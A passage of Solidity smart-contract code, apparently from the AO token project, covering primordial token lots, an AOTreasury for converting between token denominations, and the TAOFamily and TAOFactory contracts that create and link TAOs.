require (burnPrimordialToken(_primordialValue)); return true; } /** * @dev Remove `_value` network tokens and `_primordialValue` Primordial tokens from the system irreversibly on behalf of `_from` * @param _from The address of sender * @param _value The amount of network tokens to burn * @param _primordialValue The amount of Primordial tokens to burn * @return true on success */ function burnTokensFrom(address _from, uint256 _value, uint256 _primordialValue) public returns (bool success) { require (super.burnFrom(_from, _value)); require (burnPrimordialTokenFrom(_from, _primordialValue)); return true; } /***** INTERNAL METHODS *****/ /***** PRIMORDIAL TOKEN INTERNAL METHODS *****/ /** * @dev Calculate the amount of token the buyer will receive and remaining budget if exist * when he/she buys primordial token * @param _budget The amount of ETH sent by buyer * @return uint256 of the tokenAmount the buyer will receiver * @return uint256 of the remaining budget, if exist * @return bool whether or not the network exchange should end */ function _calculateTokenAmountAndRemainderBudget(uint256 _budget) internal view returns (uint256, uint256, bool) { // Calculate the amount of tokens uint256 tokenAmount = _budget.div(primordialBuyPrice); // If we need to return ETH to the buyer, in the case // where the buyer sends more ETH than available primordial token to be purchased uint256 remainderEth = 0; // Make sure primordialTotalBought is not overflowing bool shouldEndNetworkExchange = false; if (primordialTotalBought.add(tokenAmount) >= TOTAL_PRIMORDIAL_FOR_SALE) { tokenAmount = TOTAL_PRIMORDIAL_FOR_SALE.sub(primordialTotalBought); shouldEndNetworkExchange = true; remainderEth = msg.value.sub(tokenAmount.mul(primordialBuyPrice)); } return (tokenAmount, remainderEth, shouldEndNetworkExchange); } /** * @dev Actually sending the primordial token to buyer and reward AO devs accordingly * @param tokenAmount The amount of primordial token to be sent to buyer * @param to The recipient of the token */ function _sendPrimordialTokenAndRewardDev(uint256 tokenAmount, address to) internal { (uint256 startingPrimordialMultiplier,, uint256 startingNetworkTokenBonusMultiplier, uint256 endingNetworkTokenBonusMultiplier) = _getSettingVariables(); // Update primordialTotalBought (uint256 multiplier, uint256 networkTokenBonusPercentage, uint256 networkTokenBonusAmount) = calculateMultiplierAndBonus(tokenAmount); primordialTotalBought = primordialTotalBought.add(tokenAmount); _createPrimordialLot(to, tokenAmount, multiplier, networkTokenBonusAmount); // Calculate The AO and AO Dev Team's portion of Primordial and Network Token Bonus uint256 inverseMultiplier = startingPrimordialMultiplier.sub(multiplier); // Inverse of the buyer's multiplier uint256 theAONetworkTokenBonusAmount = (startingNetworkTokenBonusMultiplier.sub(networkTokenBonusPercentage).add(endingNetworkTokenBonusMultiplier)).mul(tokenAmount).div(AOLibrary.PERCENTAGE_DIVISOR()); if (aoDevTeam1 != address(0)) { _createPrimordialLot(aoDevTeam1, tokenAmount.div(2), inverseMultiplier, theAONetworkTokenBonusAmount.div(2)); } if (aoDevTeam2 != address(0)) { _createPrimordialLot(aoDevTeam2, tokenAmount.div(2), inverseMultiplier, theAONetworkTokenBonusAmount.div(2)); } _mintToken(theAO, theAONetworkTokenBonusAmount); } /** * @dev Create a lot with `primordialTokenAmount` of primordial tokens with `_multiplier` for an `account` * during network exchange, and reward `_networkTokenBonusAmount` if exist * @param _account Address of the lot owner * @param _primordialTokenAmount The amount of primordial tokens to be stored in the lot * @param _multiplier The multiplier for this lot in (10 ** 6) * @param _networkTokenBonusAmount The network token bonus amount */ function _createPrimordialLot(address _account, uint256 _primordialTokenAmount, uint256 _multiplier, uint256 _networkTokenBonusAmount) internal { totalLots++; // Generate lotId bytes32 lotId = keccak256(abi.encodePacked(this, _account, totalLots)); // Make sure no one owns this lot yet require (lots[lotId].lotOwner == address(0)); Lot storage lot = lots[lotId]; lot.lotId = lotId; lot.multiplier = _multiplier; lot.lotOwner = _account; lot.tokenAmount = _primordialTokenAmount; ownedLots[_account].push(lotId); ownerWeightedMultiplier[_account] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_account], primordialBalanceOf[_account], lot.multiplier, lot.tokenAmount); // If this is the first lot, set this as the max multiplier of the account if (ownedLots[_account].length == 1) { ownerMaxMultiplier[_account] = lot.multiplier; } _mintPrimordialToken(_account, lot.tokenAmount); _mintToken(_account, _networkTokenBonusAmount); emit LotCreation(lot.lotOwner, lot.lotId, lot.multiplier, lot.tokenAmount, _networkTokenBonusAmount); } /** * @dev Create `mintedAmount` Primordial tokens and send it to `target` * @param target Address to receive the Primordial tokens * @param mintedAmount The amount of Primordial tokens it will receive */ function _mintPrimordialToken(address target, uint256 mintedAmount) internal { primordialBalanceOf[target] = primordialBalanceOf[target].add(mintedAmount); primordialTotalSupply = primordialTotalSupply.add(mintedAmount); emit PrimordialTransfer(0, this, mintedAmount); emit PrimordialTransfer(this, target, mintedAmount); } /** * @dev Create a lot with `tokenAmount` of tokens at `weightedMultiplier` for an `account` * @param _account Address of lot owner * @param _tokenAmount The amount of tokens * @param _weightedMultiplier The multiplier of the lot (in 10^6) * @return bytes32 of new created lot ID */ function _createWeightedMultiplierLot(address _account, uint256 _tokenAmount, uint256 _weightedMultiplier) internal returns (bytes32) { require (_account != address(0)); require (_tokenAmount > 0); totalLots++; // Generate lotId bytes32 lotId = keccak256(abi.encodePacked(this, _account, totalLots)); // Make sure no one owns this lot yet require (lots[lotId].lotOwner == address(0)); Lot storage lot = lots[lotId]; lot.lotId = lotId; lot.multiplier = _weightedMultiplier; lot.lotOwner = _account; lot.tokenAmount = _tokenAmount; ownedLots[_account].push(lotId); // If this is the first lot, set this as the max multiplier of the account if (ownedLots[_account].length == 1) { ownerMaxMultiplier[_account] = lot.multiplier; } return lotId; } /** * @dev Send `_value` Primordial tokens from `_from` to `_to` * @param _from The address of sender * @param _to The address of the recipient * @param _value The amount to send */ function _transferPrimordialToken(address _from, address _to, uint256 _value) internal returns (bool) { require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead require (primordialBalanceOf[_from] >= _value); // Check if the sender has enough require (primordialBalanceOf[_to].add(_value) >= primordialBalanceOf[_to]); // Check for overflows require (!frozenAccount[_from]); // Check if sender is frozen require (!frozenAccount[_to]); // Check if recipient is frozen uint256 previousBalances = primordialBalanceOf[_from].add(primordialBalanceOf[_to]); primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value); // Subtract from the sender primordialBalanceOf[_to] = primordialBalanceOf[_to].add(_value); // Add the same to the recipient emit PrimordialTransfer(_from, _to, _value); assert(primordialBalanceOf[_from].add(primordialBalanceOf[_to]) == previousBalances); return true; } /** * @dev Store burn lot information * @param _account The address of the account * @param _tokenAmount The amount of primordial tokens to burn */ function _createBurnLot(address _account, uint256 _tokenAmount) internal { totalBurnLots++; // Generate burn lot Id bytes32 burnLotId = keccak256(abi.encodePacked(this, _account, totalBurnLots)); // Make sure no one owns this lot yet require (burnLots[burnLotId].lotOwner == address(0)); BurnLot storage burnLot = burnLots[burnLotId]; burnLot.burnLotId = burnLotId; burnLot.lotOwner = _account; burnLot.tokenAmount = _tokenAmount; ownedBurnLots[_account].push(burnLotId); emit BurnLotCreation(burnLot.lotOwner, burnLot.burnLotId, burnLot.tokenAmount, ownerWeightedMultiplier[burnLot.lotOwner]); } /** * @dev Get setting variables * @return startingPrimordialMultiplier The starting multiplier used to calculate primordial token * @return endingPrimordialMultiplier The ending multiplier used to calculate primordial token * @return startingNetworkTokenBonusMultiplier The starting multiplier used to calculate network token bonus * @return endingNetworkTokenBonusMultiplier The ending multiplier used to calculate network token bonus */ function _getSettingVariables() internal view returns (uint256, uint256, uint256, uint256) { (uint256 startingPrimordialMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'startingPrimordialMultiplier'); (uint256 endingPrimordialMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'endingPrimordialMultiplier'); (uint256 startingNetworkTokenBonusMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'startingNetworkTokenBonusMultiplier'); (uint256 endingNetworkTokenBonusMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'endingNetworkTokenBonusMultiplier'); return (startingPrimordialMultiplier, endingPrimordialMultiplier, startingNetworkTokenBonusMultiplier, endingNetworkTokenBonusMultiplier); } } /** * @title AOTreasury * * The purpose of this contract is to list all of the valid denominations of AO Token and do the conversion between denominations */ contract AOTreasury is TheAO { using SafeMath for uint256; bool public paused; bool public killed; struct Denomination { bytes8 name; address denominationAddress; } // Mapping from denomination index to Denomination object // The list is in order from lowest denomination to highest denomination // i.e, denominations[1] is the base denomination mapping (uint256 => Denomination) internal denominations; // Mapping from denomination ID to index of denominations mapping (bytes8 => uint256) internal denominationIndex; uint256 public totalDenominations; // Event to be broadcasted to public when a token exchange happens event Exchange(address indexed account, uint256 amount, bytes8 fromDenominationName, bytes8 toDenominationName); // Event to be broadcasted to public when emergency mode is triggered event EscapeHatch(); /** * @dev Constructor function */ constructor() public {} /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Checks if contract is currently active */ modifier isContractActive { require (paused == false && killed == false); _; } /** * @dev Checks if denomination is valid */ modifier isValidDenomination(bytes8 denominationName) { require (denominationIndex[denominationName] > 0 && denominations[denominationIndex[denominationName]].denominationAddress != address(0)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO pauses/unpauses contract * @param _paused Either to pause contract or not */ function setPaused(bool _paused) public onlyTheAO { paused = _paused; } /** * @dev The AO triggers emergency mode. * */ function escapeHatch() public onlyTheAO { require (killed == false); killed = true; emit EscapeHatch(); } /** * @dev The AO adds denomination and the contract address associated with it * @param denominationName The name of the denomination, i.e ao, kilo, mega, etc. * @param denominationAddress The address of the denomination token * @return true on success */ function addDenomination(bytes8 denominationName, address denominationAddress) public onlyTheAO returns (bool) { require (denominationName.length != 0); require (denominationAddress != address(0)); require (denominationIndex[denominationName] == 0); totalDenominations++; // Make sure the new denomination is higher than the previous if (totalDenominations > 1) { AOTokenInterface _lastDenominationToken = AOTokenInterface(denominations[totalDenominations - 1].denominationAddress); AOTokenInterface _newDenominationToken = AOTokenInterface(denominationAddress); require (_newDenominationToken.powerOfTen() > _lastDenominationToken.powerOfTen()); } denominations[totalDenominations].name = denominationName; denominations[totalDenominations].denominationAddress = denominationAddress; denominationIndex[denominationName] = totalDenominations; return true; } /** * @dev The AO updates denomination address or activates/deactivates the denomination * @param denominationName The name of the denomination, i.e ao, kilo, mega, etc. * @param denominationAddress The address of the denomination token * @return true on success */ function updateDenomination(bytes8 denominationName, address denominationAddress) public onlyTheAO returns (bool) { require (denominationName.length != 0); require (denominationIndex[denominationName] > 0); require (denominationAddress != address(0)); uint256 _denominationNameIndex = denominationIndex[denominationName]; AOTokenInterface _newDenominationToken = AOTokenInterface(denominationAddress); if (_denominationNameIndex > 1) { AOTokenInterface _prevDenominationToken = AOTokenInterface(denominations[_denominationNameIndex - 1].denominationAddress); require (_newDenominationToken.powerOfTen() > _prevDenominationToken.powerOfTen()); } if (_denominationNameIndex < totalDenominations) { AOTokenInterface _lastDenominationToken = AOTokenInterface(denominations[totalDenominations].denominationAddress); require (_newDenominationToken.powerOfTen() < _lastDenominationToken.powerOfTen()); } denominations[denominationIndex[denominationName]].denominationAddress = denominationAddress; return true; } /***** PUBLIC METHODS *****/ /** * @dev Get denomination info based on name * @param denominationName The name to be queried * @return the denomination short name * @return the denomination address * @return the denomination public name * @return the denomination symbol * @return the denomination num of decimals * @return the denomination multiplier (power of ten) */ function getDenominationByName(bytes8 denominationName) public view returns (bytes8, address, string, string, uint8, uint256) { require (denominationName.length != 0); require (denominationIndex[denominationName] > 0); require (denominations[denominationIndex[denominationName]].denominationAddress != address(0)); AOTokenInterface _ao = AOTokenInterface(denominations[denominationIndex[denominationName]].denominationAddress); return ( denominations[denominationIndex[denominationName]].name, denominations[denominationIndex[denominationName]].denominationAddress, _ao.name(), _ao.symbol(), _ao.decimals(), _ao.powerOfTen() ); } /** * @dev Get denomination info by index * @param index The index to be queried * @return the denomination short name * @return the denomination address * @return the denomination public name * @return the denomination symbol * @return the denomination num of decimals * @return the denomination multiplier (power of ten) */ function getDenominationByIndex(uint256 index) public view returns (bytes8, address, string, string, uint8, uint256) { require (index > 0 && index <= totalDenominations); require (denominations[index].denominationAddress != address(0)); AOTokenInterface _ao = AOTokenInterface(denominations[index].denominationAddress); return ( denominations[index].name, denominations[index].denominationAddress, _ao.name(), _ao.symbol(), _ao.decimals(), _ao.powerOfTen() ); } /** * @dev Get base denomination info * @return the denomination short name * @return the denomination address * @return the denomination public name * @return the denomination symbol * @return the denomination num of decimals * @return the denomination multiplier (power of ten) */ function getBaseDenomination() public view returns (bytes8, address, string, string, uint8, uint256) { require (totalDenominations > 1); return getDenominationByIndex(1); } /** * @dev convert token from `denominationName` denomination to base denomination, * in this case it's similar to web3.toWei() functionality * * Example: * 9.1 Kilo should be entered as 9 integerAmount and 100 fractionAmount * 9.02 Kilo should be entered as 9 integerAmount and 20 fractionAmount * 9.001 Kilo should be entered as 9 integerAmount and 1 fractionAmount * * @param integerAmount uint256 of the integer amount to be converted * @param fractionAmount uint256 of the frational amount to be converted * @param denominationName bytes8 name of the token denomination * @return uint256 converted amount in base denomination from target denomination */ function toBase(uint256 integerAmount, uint256 fractionAmount, bytes8 denominationName) public view returns (uint256) { if (denominationName.length > 0 && denominationIndex[denominationName] > 0 && denominations[denominationIndex[denominationName]].denominationAddress != address(0) && (integerAmount > 0 || fractionAmount > 0)) { Denomination memory _denomination = denominations[denominationIndex[denominationName]]; AOTokenInterface _denominationToken = AOTokenInterface(_denomination.denominationAddress); uint8 fractionNumDigits = _numDigits(fractionAmount); require (fractionNumDigits <= _denominationToken.decimals()); uint256 baseInteger = integerAmount.mul(10 ** _denominationToken.powerOfTen()); if (_denominationToken.decimals() == 0) { fractionAmount = 0; } return baseInteger.add(fractionAmount); } else { return 0; } } /** * @dev convert token from base denomination to `denominationName` denomination, * in this case it's similar to web3.fromWei() functionality * @param integerAmount uint256 of the base amount to be converted * @param denominationName bytes8 name of the target token denomination * @return uint256 of the converted integer amount in target denomination * @return uint256 of the converted fraction amount in target denomination */ function fromBase(uint256 integerAmount, bytes8 denominationName) public isValidDenomination(denominationName) view returns (uint256, uint256) { Denomination memory _denomination = denominations[denominationIndex[denominationName]]; AOTokenInterface _denominationToken = AOTokenInterface(_denomination.denominationAddress); uint256 denominationInteger = integerAmount.div(10 ** _denominationToken.powerOfTen()); uint256 denominationFraction = integerAmount.sub(denominationInteger.mul(10 ** _denominationToken.powerOfTen())); return (denominationInteger, denominationFraction); } /** * @dev exchange `amount` token from `fromDenominationName` denomination to token in `toDenominationName` denomination * @param amount The amount of token to exchange * @param fromDenominationName The origin denomination * @param toDenominationName The target denomination */ function exchange(uint256 amount, bytes8 fromDenominationName, bytes8 toDenominationName) public isContractActive isValidDenomination(fromDenominationName) isValidDenomination(toDenominationName) { require (amount > 0); Denomination memory _fromDenomination = denominations[denominationIndex[fromDenominationName]]; Denomination memory _toDenomination = denominations[denominationIndex[toDenominationName]]; AOTokenInterface _fromDenominationToken = AOTokenInterface(_fromDenomination.denominationAddress); AOTokenInterface _toDenominationToken = AOTokenInterface(_toDenomination.denominationAddress); require (_fromDenominationToken.whitelistBurnFrom(msg.sender, amount)); require (_toDenominationToken.mintToken(msg.sender, amount)); emit Exchange(msg.sender, amount, fromDenominationName, toDenominationName); } /** * @dev Return the highest possible denomination given a base amount * @param amount The amount to be converted * @return the denomination short name * @return the denomination address * @return the integer amount at the denomination level * @return the fraction amount at the denomination level * @return the denomination public name * @return the denomination symbol * @return the denomination num of decimals * @return the denomination multiplier (power of ten) */ function toHighestDenomination(uint256 amount) public view returns (bytes8, address, uint256, uint256, string, string, uint8, uint256) { uint256 integerAmount; uint256 fractionAmount; uint256 index; for (uint256 i=totalDenominations; i>0; i--) { Denomination memory _denomination = denominations[i]; (integerAmount, fractionAmount) = fromBase(amount, _denomination.name); if (integerAmount > 0) { index = i; break; } } require (index > 0 && index <= totalDenominations); require (integerAmount > 0 || fractionAmount > 0); require (denominations[index].denominationAddress != address(0)); AOTokenInterface _ao = AOTokenInterface(denominations[index].denominationAddress); return ( denominations[index].name, denominations[index].denominationAddress, integerAmount, fractionAmount, _ao.name(), _ao.symbol(), _ao.decimals(), _ao.powerOfTen() ); } /***** INTERNAL METHOD *****/ /** * @dev count num of digits * @param number uint256 of the nuumber to be checked * @return uint8 num of digits */ function _numDigits(uint256 number) internal pure returns (uint8) { uint8 digits = 0; while(number != 0) { number = number.div(10); digits++; } return digits; } } contract Pathos is TAOCurrency { /** * @dev Constructor function */ constructor(uint256 initialSupply, string tokenName, string tokenSymbol) TAOCurrency(initialSupply, tokenName, tokenSymbol) public {} } contract Ethos is TAOCurrency { /** * @dev Constructor function */ constructor(uint256 initialSupply, string tokenName, string tokenSymbol) TAOCurrency(initialSupply, tokenName, tokenSymbol) public {} } /** * @title TAOController */ contract TAOController { NameFactory internal _nameFactory; NameTAOPosition internal _nameTAOPosition; /** * @dev Constructor function */ constructor(address _nameFactoryAddress, address _nameTAOPositionAddress) public { _nameFactory = NameFactory(_nameFactoryAddress); _nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress); } /** * @dev Check if `_taoId` is a TAO */ modifier isTAO(address _taoId) { require (AOLibrary.isTAO(_taoId)); _; } /** * @dev Check if `_nameId` is a Name */ modifier isName(address _nameId) { require (AOLibrary.isName(_nameId)); _; } /** * @dev Check if `_id` is a Name or a TAO */ modifier isNameOrTAO(address _id) { require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id)); _; } /** * @dev Check is msg.sender address is a Name */ modifier senderIsName() { require (_nameFactory.ethAddressToNameId(msg.sender) != address(0)); _; } /** * @dev Check if msg.sender is the current advocate of TAO ID */ modifier onlyAdvocate(address _id) { require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id)); _; } } // Store the name lookup for a Name/TAO /** * @title TAOFamily */ contract TAOFamily is TAOController { using SafeMath for uint256; address public taoFactoryAddress; TAOFactory internal _taoFactory; struct Child { address taoId; bool approved; // If false, then waiting for parent TAO approval bool connected; // If false, then parent TAO want to remove this child TAO } struct Family { address taoId; address parentId; // The parent of this TAO ID (could be a Name or TAO) uint256 childMinLogos; mapping (uint256 => Child) children; mapping (address => uint256) childInternalIdLookup; uint256 totalChildren; uint256 childInternalId; } mapping (address => Family) internal families; // Event to be broadcasted to public when Advocate updates min required Logos to create a child TAO event UpdateChildMinLogos(address indexed taoId, uint256 childMinLogos, uint256 nonce); // Event to be broadcasted to public when a TAO adds a child TAO event AddChild(address indexed taoId, address childId, bool approved, bool connected, uint256 nonce); // Event to be broadcasted to public when a TAO approves a child TAO event ApproveChild(address indexed taoId, address childId, uint256 nonce); // Event to be broadcasted to public when a TAO removes a child TAO event RemoveChild(address indexed taoId, address childId, uint256 nonce); /** * @dev Constructor function */ constructor(address _nameFactoryAddress, address _nameTAOPositionAddress, address _taoFactoryAddress) TAOController(_nameFactoryAddress, _nameTAOPositionAddress) public { taoFactoryAddress = _taoFactoryAddress; _taoFactory = TAOFactory(_taoFactoryAddress); } /** * @dev Check if calling address is Factory */ modifier onlyFactory { require (msg.sender == taoFactoryAddress); _; } /***** PUBLIC METHODS *****/ /** * @dev Check whether or not a TAO ID exist in the list of families * @param _id The ID to be checked * @return true if yes, false otherwise */ function isExist(address _id) public view returns (bool) { return families[_id].taoId != address(0); } /** * @dev Store the Family info for a TAO * @param _id The ID of the TAO * @param _parentId The parent ID of this TAO * @param _childMinLogos The min required Logos to create a TAO * @return true on success */ function add(address _id, address _parentId, uint256 _childMinLogos) public isTAO(_id) isNameOrTAO(_parentId) onlyFactory returns (bool) { require (!isExist(_id)); Family storage _family = families[_id]; _family.taoId = _id; _family.parentId = _parentId; _family.childMinLogos = _childMinLogos; return true; } /** * @dev Get Family info given a TAO ID * @param _id The ID of the TAO * @return the parent ID of this TAO (could be a Name/TAO) * @return the min required Logos to create a child TAO * @return the total child TAOs count */ function getFamilyById(address _id) public view returns (address, uint256, uint256) { require (isExist(_id)); Family memory _family = families[_id]; return ( _family.parentId, _family.childMinLogos, _family.totalChildren ); } /** * @dev Set min required Logos to create a child from this TAO * @param _childMinLogos The min Logos to set * @return the nonce for this transaction */ function updateChildMinLogos(address _id, uint256 _childMinLogos) public isTAO(_id) senderIsName() onlyAdvocate(_id) { require (isExist(_id)); Family storage _family = families[_id]; _family.childMinLogos = _childMinLogos; uint256 _nonce = _taoFactory.incrementNonce(_id); require (_nonce > 0); emit UpdateChildMinLogos(_id, _family.childMinLogos, _nonce); } /** * @dev Check if `_childId` is a child TAO of `_taoId` * @param _taoId The TAO ID to be checked * @param _childId The child TAO ID to check * @return true if yes. Otherwise return false. */ function isChild(address _taoId, address _childId) public view returns (bool) { require (isExist(_taoId) && isExist(_childId)); Family storage _family = families[_taoId]; Family memory _childFamily = families[_childId]; uint256 _childInternalId = _family.childInternalIdLookup[_childId]; return ( _childInternalId > 0 && _family.children[_childInternalId].approved && _family.children[_childInternalId].connected && _childFamily.parentId == _taoId ); } /** * @dev Add child TAO * @param _taoId The TAO ID to be added to * @param _childId The ID to be added to as child TAO */ function addChild(address _taoId, address _childId) public isTAO(_taoId) isTAO(_childId) onlyFactory returns (bool) { require (!isChild(_taoId, _childId)); Family storage _family = families[_taoId]; require (_family.childInternalIdLookup[_childId] == 0); _family.childInternalId++; _family.childInternalIdLookup[_childId] = _family.childInternalId; uint256 _nonce = _taoFactory.incrementNonce(_taoId); require (_nonce > 0); Child storage _child = _family.children[_family.childInternalId]; _child.taoId = _childId; // If _taoId's Advocate == _childId's Advocate, then the child is automatically approved and connected // Otherwise, child TAO needs parent TAO approval address _taoAdvocate = _nameTAOPosition.getAdvocate(_taoId); address _childAdvocate = _nameTAOPosition.getAdvocate(_childId); if (_taoAdvocate == _childAdvocate) { _family.totalChildren++; _child.approved = true; _child.connected = true; Family storage _childFamily = families[_childId]; _childFamily.parentId = _taoId; } emit AddChild(_taoId, _childId, _child.approved, _child.connected, _nonce); return true; } /** * @dev Advocate of `_taoId` approves child `_childId` * @param _taoId The TAO ID to be checked * @param _childId The child TAO ID to be approved */ function approveChild(address _taoId, address _childId) public isTAO(_taoId) isTAO(_childId) senderIsName() onlyAdvocate(_taoId) { require (isExist(_taoId) && isExist(_childId)); Family storage _family = families[_taoId]; Family storage _childFamily = families[_childId]; uint256 _childInternalId = _family.childInternalIdLookup[_childId]; require (_childInternalId > 0 && !_family.children[_childInternalId].approved && !_family.children[_childInternalId].connected ); _family.totalChildren++; Child storage _child = _family.children[_childInternalId]; _child.approved = true; _child.connected = true; _childFamily.parentId = _taoId; uint256 _nonce = _taoFactory.incrementNonce(_taoId); require (_nonce > 0); emit ApproveChild(_taoId, _childId, _nonce); } /** * @dev Advocate of `_taoId` removes child `_childId` * @param _taoId The TAO ID to be checked * @param _childId The child TAO ID to be removed */ function removeChild(address _taoId, address _childId) public isTAO(_taoId) isTAO(_childId) senderIsName() onlyAdvocate(_taoId) { require (isChild(_taoId, _childId)); Family storage _family = families[_taoId]; _family.totalChildren--; Child storage _child = _family.children[_family.childInternalIdLookup[_childId]]; _child.connected = false; _family.childInternalIdLookup[_childId] = 0; Family storage _childFamily = families[_childId]; _childFamily.parentId = address(0); uint256 _nonce = _taoFactory.incrementNonce(_taoId); require (_nonce > 0); emit RemoveChild(_taoId, _childId, _nonce); } /** * @dev Get list of child TAO IDs * @param _taoId The TAO ID to be checked * @param _from The starting index (start from 1) * @param _to The ending index, (max is childInternalId) * @return list of child TAO IDs */ function getChildIds(address _taoId, uint256 _from, uint256 _to) public view returns (address[]) { require (isExist(_taoId)); Family storage _family = families[_taoId]; require (_from >= 1 && _to >= _from && _family.childInternalId >= _to); address[] memory _childIds = new address[](_to.sub(_from).add(1)); for (uint256 i = _from; i <= _to; i++) { _childIds[i.sub(_from)] = _family.children[i].approved && _family.children[i].connected ? _family.children[i].taoId : address(0); } return _childIds; } } // Store TAO's child information /** * @title TAOFactory * * The purpose of this contract is to allow node to create TAO */ contract TAOFactory is TheAO, TAOController { using SafeMath for uint256; address[] internal taos; address public taoFamilyAddress; address public nameTAOVaultAddress; address public settingTAOId; NameTAOLookup internal _nameTAOLookup; TAOFamily internal _taoFamily; AOSetting internal _aoSetting; Logos internal _logos; // Mapping from TAO ID to its nonce mapping (address => uint256) public nonces; // Event to be broadcasted to public when Advocate creates a TAO event CreateTAO(address indexed ethAddress, address advocateId, address taoId, uint256 index, address parent, uint8 parentTypeId); /** * @dev Constructor function */ constructor(address _nameFactoryAddress, address _nameTAOLookupAddress, address _nameTAOPositionAddress, address _aoSettingAddress, address _logosAddress, address _nameTAOVaultAddress) TAOController(_nameFactoryAddress, _nameTAOPositionAddress) public { nameTAOPositionAddress = _nameTAOPositionAddress; nameTAOVaultAddress = _nameTAOVaultAddress; _nameTAOLookup = NameTAOLookup(_nameTAOLookupAddress); _nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress); _aoSetting = AOSetting(_aoSettingAddress); _logos = Logos(_logosAddress); } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Checks if calling address can update TAO's nonce */ modifier canUpdateNonce { require (msg.sender == nameTAOPositionAddress || msg.sender == taoFamilyAddress); _; } /***** The AO ONLY METHODS *****/ /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO set the TAOFamily Address * @param _taoFamilyAddress The address of TAOFamily */ function setTAOFamilyAddress(address _taoFamilyAddress) public onlyTheAO { require (_taoFamilyAddress != address(0)); taoFamilyAddress = _taoFamilyAddress; _taoFamily = TAOFamily(taoFamilyAddress); } /** * @dev The AO set settingTAOId (The TAO ID that holds the setting values) * @param _settingTAOId The address of settingTAOId */ function setSettingTAOId(address _settingTAOId) public onlyTheAO isTAO(_settingTAOId) { settingTAOId = _settingTAOId; } /***** PUBLIC METHODS *****/ /** * @dev Increment the nonce of a TAO * @param _taoId The ID of the TAO * @return current nonce */ function incrementNonce(address _taoId) public canUpdateNonce returns (uint256) { // Check if _taoId exist require (nonces[_taoId] > 0); nonces[_taoId]++; return nonces[_taoId]; } /** * @dev Name creates a TAO * @param _name The name of the TAO * @param _datHash The datHash of this TAO * @param _database The database for this TAO * @param _keyValue The key/value pair to be checked on the database * @param _contentId The contentId related to this TAO * @param _parentId The parent of this TAO (has to be a Name or TAO) * @param _childMinLogos The min required Logos to create a child from this TAO */ function createTAO( string _name, string _datHash, string _database, string _keyValue, bytes32 _contentId, address _parentId, uint256 _childMinLogos ) public senderIsName() isNameOrTAO(_parentId) { require (bytes(_name).length > 0); require (!_nameTAOLookup.isExist(_name)); address _nameId = _nameFactory.ethAddressToNameId(msg.sender); uint256 _parentCreateChildTAOMinLogos; uint256 _createChildTAOMinLogos = _getSettingVariables(); if (AOLibrary.isTAO(_parentId)) { (, _parentCreateChildTAOMinLogos,) = _taoFamily.getFamilyById(_parentId); } if (_parentCreateChildTAOMinLogos > 0) { require (_logos.sumBalanceOf(_nameId) >= _parentCreateChildTAOMinLogos); } else if (_createChildTAOMinLogos > 0) { require (_logos.sumBalanceOf(_nameId) >= _createChildTAOMinLogos); } // Create the TAO address taoId = new TAO(_name, _nameId, _datHash, _database, _keyValue, _contentId, nameTAOVaultAddress); // Increment the nonce nonces[taoId]++; // Store the name lookup information require (_nameTAOLookup.add(_name, taoId, TAO(_parentId).name(), 0)); // Store the Advocate/Listener/Speaker information require (_nameTAOPosition.add(taoId, _nameId, _nameId, _nameId)); require (_taoFamily.add(taoId, _parentId, _childMinLogos)); taos.push(taoId); emit CreateTAO(msg.sender, _nameId, taoId, taos.length.sub(1), _parentId, TAO(_parentId).typeId()); if (AOLibrary.isTAO(_parentId)) { require (_taoFamily.addChild(_parentId, taoId)); } } /** * @dev Get TAO information * @param _taoId The ID of the TAO to be queried * @return The name of the TAO * @return The origin Name ID that created the TAO * @return The name of Name that created the TAO * @return The datHash of the TAO * @return The database of the TAO * @return The keyValue of the TAO * @return The contentId of the TAO * @return The typeId of the TAO */ function getTAO(address _taoId) public view returns (string, address, string, string, string, string, bytes32, uint8) { TAO _tao = TAO(_taoId); return ( _tao.name(), _tao.originId(), Name(_tao.originId()).name(), _tao.datHash(), _tao.database(), _tao.keyValue(), _tao.contentId(), _tao.typeId() ); } /** * @dev Get total TAOs count * @return total TAOs count */ function getTotalTAOsCount() public view returns (uint256) { return taos.length; } /** * @dev Get list of TAO IDs * @param _from The starting index * @param _to The ending index * @return list of TAO IDs */ function getTAOIds(uint256 _from, uint256 _to) public view returns (address[]) { require (_from >= 0 && _to >= _from && taos.length > _to); address[] memory _taos = new address[](_to.sub(_from).add(1)); for (uint256 i = _from; i <= _to; i++) { _taos[i.sub(_from)] 